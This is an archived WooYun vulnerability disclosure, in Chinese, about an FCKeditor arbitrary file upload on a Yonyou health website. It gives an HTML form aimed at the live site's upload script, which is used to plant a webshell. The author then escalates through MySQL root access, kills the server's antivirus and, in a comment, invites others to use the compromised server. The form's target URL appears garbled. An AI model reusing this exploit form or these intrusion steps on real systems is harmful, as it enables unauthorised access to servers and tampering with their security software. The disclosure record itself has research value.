当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-046273

漏洞标题：用友软件某站Getshell#Mysql Root权限可提权

相关厂商：用友软件

漏洞作者： U神

提交时间：2013-12-18 10:56

修复时间：2013-12-23 10:57

公开时间：2013-12-23 10:57

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-18： 细节已通知厂商并且等待厂商处理中
2013-12-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://health.yonyou.com/admin/FCKeditor/editor/filemanagerhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/php/upload.php


这个漏洞我就不多说了，说多了都是泪。
本地构造

<form id="frmUpload" enctype="multipart/form-data" action="http://health.yonyou.com/admin/FCKeditor/editor/filemanagerhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

漏洞证明：

获得webshell：

01.jpg


菜刀连：

02.jpg


数据库是root权限的，很可笑，在这个文档暴露了数据库信息：

http://health.yonyou.com/readme.txt


03.jpg


04.jpg


数据库：

07.jpg


好吧，由于mysql是root权限，那么直接提权，不好意思把你们的360安全卫士结束掉了~

08.jpg


06.jpg


3389是内网的需要转发，由于这里网速慢，我就不提权了~
这个权限很大的，杀软随便结束的！

修复方案：

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-12-23 10:57

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-22 10:14 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    root权限了还提……

  2. 2013-12-22 11:23 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @寂寞的瘦子 我是说mysql是root权限的，可以提3389啊！可惜是内网

  3. 2013-12-23 11:24 | Moogong ( 实习白帽子 | Rank:33 漏洞数:8 | 伪法医)

    无影响厂商忽略

  4. 2013-12-23 12:20 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @xsser mark!明显厂商不上线啦！厂商分公司太多了，我曾自己亲自联系也联系不到。淡定！@寂寞的瘦子 服务器拿去用吧！

  5. 2015-01-22 18:56 | Ankey. ( 路人 | Rank:19 漏洞数:8 | 冰河技术组)

    说多了都是泪指的可是传说中的双文件上传漏洞